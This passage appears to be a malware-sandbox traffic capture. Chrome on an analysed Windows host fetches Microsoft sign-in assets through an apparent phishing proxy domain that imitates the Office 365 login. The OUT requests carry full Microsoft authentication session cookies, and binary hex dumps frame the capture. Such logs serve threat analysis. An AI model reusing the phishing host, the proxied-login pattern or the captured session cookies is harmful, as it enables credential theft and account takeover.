k{0}hHjdc=710VDo?UwI'sNE4}k=juwOk?zv2NX^F[8g*7VyZ<E]$\|zmk3h-SznuJ2V.tx~%Y
2024-04-26 11:21:33 UTC	1392	IN	Data Raw: 72 6b 95 a9 2b 79 ec f3 c8 d9 e7 d9 7a 78 d4 0f a8 77 d9 a9 7b 00 ca 16 4d 63 eb 5f 0c 4c cf 01 a3 b5 83 5d cd d6 d3 73 7a 32 c0 26 c8 e3 9b 29 ff e3 f9 e4 9e 2b 72 16 fc f5 7d d1 59 c3 7f 7f e0 69 0b 36 68 6a 2f 5f fe 44 99 1d ea 3e c1 22 b6 c1 58 6e 0e 32 31 06 09 af 13 b6 c3 b6 19 8a c7 74 f8 fb bb 3e 7d 8c 8b 6d 20 fc 48 83 3d 38 ff ce 43 1d e0 26 33 1c dc e9 ac 2c e9 84 24 af 02 6d 4b b1 f1 8d e4 b3 a9 07 6b ee 63 10 b7 c3 46 10 b7 b2 c7 13 2c fe 12 ad fe c4 83 02 66 3c ae fe 91 ef 78 13 18 d5 9f 66 69 81 a1 ab 29 9e da 99 df 7c a1 2a bf c4 ac a2 18 77 7b e0 1b 25 38 9e a3 2d a9 8c 71 00 c7 3c 68 db 71 5f 04 6d 3b 3e 39 f1 7b b4 ae 6f 59 09 84 06 bb 3d f5 7b d0 e1 0a 08 d8 8b b8 28 6b 61 bc 39 29 c7 a0 ce 44 e6 3f 50 4a dd 0c d3 fd 3e c9 31 50 46 1b Data Ascii: rk+yzxw{Mc_L]sz2&)+r}Yi6hj/_D>"Xn21t>}m H=8C&3,$mKkcF,f<xfi)\|*w{%8-q<hq_m;>9{oY={(ka9)D?PJ>1PF
2024-04-26 11:21:33 UTC	9510	IN	Data Raw: 23 30 22 75 c1 a1 5b a0 67 5c a3 58 32 27 9a 62 c7 a1 cd 04 4a 6f 34 45 70 03 b3 9f b8 bb 44 67 b9 38 b0 3b 37 09 72 77 d0 9d 93 c7 5d ad 74 cb 27 62 b8 95 4f e1 cc ec 52 35 5a 41 ba 85 ae 58 30 9c 7a a4 44 c9 ad f6 53 1e c9 0b d9 b1 eb 4e c8 a4 8e e4 ba 86 5b 12 3a 6f 2d f6 c5 6d f2 c4 30 68 7d 23 11 e4 9e 9b 3f 92 16 d1 30 7e c9 4a 72 85 b5 29 df 30 5f 1a eb d9 6c 18 53 82 a5 60 c4 f4 88 e1 a4 79 f5 39 95 31 36 4c f7 9f da 08 80 a3 9a ba 59 be 74 46 4c b3 9b cc 37 3d 92 b8 1f ee 9d 10 a3 05 97 29 9e c4 3e 2e 6c de d3 d8 56 b4 50 23 73 d1 f4 3b b9 0b e5 c7 f5 6d ee f9 9b b1 01 46 c9 8c 23 77 85 a0 24 36 cb 28 53 7c 77 93 65 37 c5 fa c6 fb 2d 3c b6 f1 99 42 0b 5e d1 8d 33 ba 76 60 76 87 62 70 1d c2 5b b3 43 d5 28 26 75 c7 17 04 33 de 04 4e c5 54 84 4a a3 Data Ascii: #0"u[g\X2'bJo4EpDg8;7rw]t'bOR5ZAX0zDSN[:o-m0h}#?0~Jr)0_lS`y916LYtFL7=)>.lVP#s;mF#w$6(S\|we7-<B^3v`vbp[C(&u3NTJ
2024-04-26 11:21:33 UTC	6289	IN	Data Raw: cd 3d fb 73 db 36 d2 bf 7f 7f 85 cd 7a 1c 22 82 9f 79 34 21 c3 ea 1c 57 ed b4 13 c7 19 ab b9 cc 8d ac 78 68 99 b2 d9 c8 62 4a 52 76 12 4b f7 b7 df 3e 00 10 20 29 c5 c9 f5 66 be 1f 6c 52 20 9e 8b c5 02 fb c0 2e 05 2d d7 3f 0a ce 04 a9 97 98 f7 e2 02 bd 76 20 51 a7 df 80 eb 09 bf 8c c7 f4 64 d7 ed 4e 1e 4e 3a 98 4c 74 6a 41 c9 c9 75 5a d2 8b 62 c3 9c 32 2a ed 18 aa 77 d2 27 a6 8a a6 1a 75 30 c4 8e aa d8 64 91 cb 00 d7 48 ac 0a 8a a2 33 6b 9d a4 b9 b1 4f 56 31 db a3 db 8b a6 08 cb 43 4f cb f0 ed ea 22 cd ef d7 08 65 5d d2 c4 ec 3a 2e 3e b4 c8 c9 76 49 58 f9 55 a7 91 2b 02 7d d4 d7 fb 20 19 aa f5 1a e2 3b e6 6f f3 9f 87 2a a6 6c 02 67 2d f5 02 db 6e 3e 75 7f 99 e8 27 39 ee 85 4b e3 9d 3c 7f fc 37 45 45 82 dd 97 82 df 3c 7d fe e4 6b e1 3c ed 9d b9 4d 0b de a6 Data Ascii: =s6z"y4!WxhbJRvK> )flR .-?v QdNN:LtjAuZb2w'u0dH3kOV1CO"e]:.>vIXU+} ;olg-n>u'9K<7EE<}k<M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49742	52.96.28.178	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:33 UTC	712	OUT	GET /owa/prefetch.aspx HTTP/1.1 Host: outlook.office365.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://r6duftx9uh6.scrdata-doc.cfd/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 11:21:33 UTC	1905	IN	HTTP/1.1 200 OK Cache-Control: private, no-store Content-Length: 2745 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 request-id: c870e184-b1d2-727f-5d2f-017cbfc36298 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-CalculatedFETarget: BL1PR13CU012.internal.outlook.com X-BackEndHttpStatus: 200 Set-Cookie: ClientId=7A5796A74B4F4077821AC5A4864DA729; expires=Sat, 26-Apr-2025 11:21:33 GMT; path=/;SameSite=None; secure Set-Cookie: ClientId=7A5796A74B4F4077821AC5A4864DA729; expires=Sat, 26-Apr-2025 11:21:33 GMT; path=/;SameSite=None; secure Set-Cookie: OIDC=1; expires=Sat, 26-Oct-2024 11:21:33 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: OWAPF=v:15.20.7472.44&l:mouse; path=/; secure; HttpOnly X-CalculatedBETarget: MN0PR16MB6473.namprd16.PROD.OUTLOOK.COM X-BackEndHttpStatus: 200 X-RUM-Validated: 1 X-RUM-NotUpdateQueriedPath: 1 X-RUM-NotUpdateQueriedDbCopy: 1 X-Content-Type-Options: nosniff X-BeSku: WCS8 X-OWA-Version: 15.20.7472.44 X-OWA-DiagnosticsInfo: 1;0;0 X-IIDs: 0 X-BackEnd-Begin: 2024-04-26T11:21:33.526 X-BackEnd-End: 2024-04-26T11:21:33.526 X-DiagInfo: MN0PR16MB6473 X-BEServer: MN0PR16MB6473 X-UA-Compatible: IE=EmulateIE7 X-Proxy-RoutingCorrectness: 1 X-Proxy-BackendServerStatus: 200 X-FEProxyInfo: BN8PR16CA0004.NAMPRD16.PROD.OUTLOOK.COM X-FEEFZInfo: LYH X-FEServer: BL1PR13CA0350 Report-To: {"group":"NelOfficeUpload1","max_age":7200,"endpoints":[{"url":"https://exo.nel.measure.office.net/api/report?TenantId=&FrontEnd=Cafe&DestinationEndpoint=LYH&RemoteIP=102.129.152.220"}],"include_subdomains":true} NEL: {"report_to":"NelOfficeUpload1","max_age":7200,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} X-FirstHopCafeEFZ: LYH X-FEServer: BN8PR16CA0004 Date: Fri, 26 Apr 2024 11:21:33 GMT Connection: close
2024-04-26 11:21:33 UTC	2745	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 72 65 66 65 74 63 68 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 0d 0a 0d 0a 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 6f 66 66 69 63 65 33 36 35 69 63 6f 6e 73 27 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 72 63 3a 20 75 72 6c 28 27 68 74 74 70 73 3a 2f Data Ascii: <!DOCTYPE html><html><head> <title>Prefetch</title> <meta http-equiv="x-ua-compatible" content="IE=Edge"> <style> @font-face { font-family: 'office365icons'; src: url('https:/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49747	2.58.15.240	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:34 UTC	2818	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1 Host: r6duftx9uh6.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
2024-04-26 11:21:35 UTC	741	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 11:21:35 GMT Content-Type: image/jpeg Content-Length: 987 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 27 Mar 2020 19:41:47 GMT ETag: 0x8D7D286E322A911 x-ms-request-id: 77152afa-e01e-0068-3dcb-97ffad000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T112134Z-16f6b7d4654qfkh9g2m5kybc9n00000001p000000000cm8x x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-26 11:21:35 UTC	987	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 66 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 1a 00 05 00 00 00 01 00 00 00 3e 01 1b 00 05 00 00 00 01 00 00 00 46 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 10 00 00 00 4e 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 70 61 69 6e 74 2e 6e 65 74 20 34 2e 32 2e 39 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a Data Ascii: JFIFHHfExifMM*>F(1NHHpaint.net 4.2.9CC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49744	2.58.15.240	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:34 UTC	2812	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1 Host: r6duftx9uh6.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
2024-04-26 11:21:35 UTC	743	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 11:21:35 GMT Content-Type: image/jpeg Content-Length: 17453 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 27 Mar 2020 19:41:47 GMT ETag: 0x8D7D286E30A1202 x-ms-request-id: 519927a5-901e-005b-34cb-97a3ba000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T112134Z-17859dc676bdqsl49t8q36ng64000000044g00000001w5th x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-26 11:21:35 UTC	15641	IN	Data Raw: ff d8 ff e1 09 50 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 32 20 37 39 2e 31 36 30 39 32 34 2c 20 32 30 31 37 2f 30 37 2f 31 33 2d 30 31 3a 30 36 3a 33 39 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e Data Ascii: Phttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syn
2024-04-26 11:21:35 UTC	1812	IN	Data Raw: 14 40 00 00 50 00 00 04 00 00 05 00 45 00 00 05 00 00 01 00 05 50 00 00 04 00 00 05 1f ff d3 db c0 6d cd 05 45 00 00 00 04 50 1c 8a 02 00 00 00 00 04 48 aa 0e 45 15 10 00 00 00 00 00 04 82 80 90 50 10 00 04 01 44 14 51 14 10 51 11 05 01 05 40 00 00 00 00 15 40 00 00 00 40 54 50 42 28 00 00 00 00 00 00 00 02 80 00 00 00 20 00 02 a2 8a 00 00 00 00 0a 02 00 00 00 02 28 00 8a 80 00 a0 02 0a 08 a8 28 08 a0 00 02 80 a8 22 80 88 a0 2a 28 00 02 00 28 20 a2 08 28 08 00 02 88 00 0a 82 80 8a 00 00 8a 00 00 08 00 00 02 00 00 00 0a 00 a8 a8 a0 82 a2 00 00 00 8a 00 a0 02 00 02 80 20 00 00 00 00 80 00 00 22 a0 a0 20 00 2a 2a 00 02 8a 80 8a 20 82 88 00 00 00 0a 00 a0 00 00 08 02 a8 8a 02 00 28 00 80 02 80 02 00 00 02 82 2a 28 00 02 80 00 00 8a 00 02 80 00 00 20 02 80 00 Data Ascii: @PEPmEPHEPDQQ@@@TPB( (("(( ( " * (*(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49743	2.58.15.240	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:34 UTC	2806	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1 Host: r6duftx9uh6.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; 